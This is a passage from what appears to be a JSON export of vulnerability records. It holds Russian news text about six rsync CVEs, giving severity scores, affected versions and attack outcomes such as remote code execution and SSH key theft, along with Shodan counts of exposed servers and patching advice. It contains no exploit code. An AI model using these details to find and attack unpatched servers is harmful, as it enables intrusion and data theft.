\u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T15:20:27.000000Z"}, {"uuid": "74e0179b-d668-4093-9570-a8dcb7c7d994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "exploited", "source": "https://t.me/S_E_Reborn/5357", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 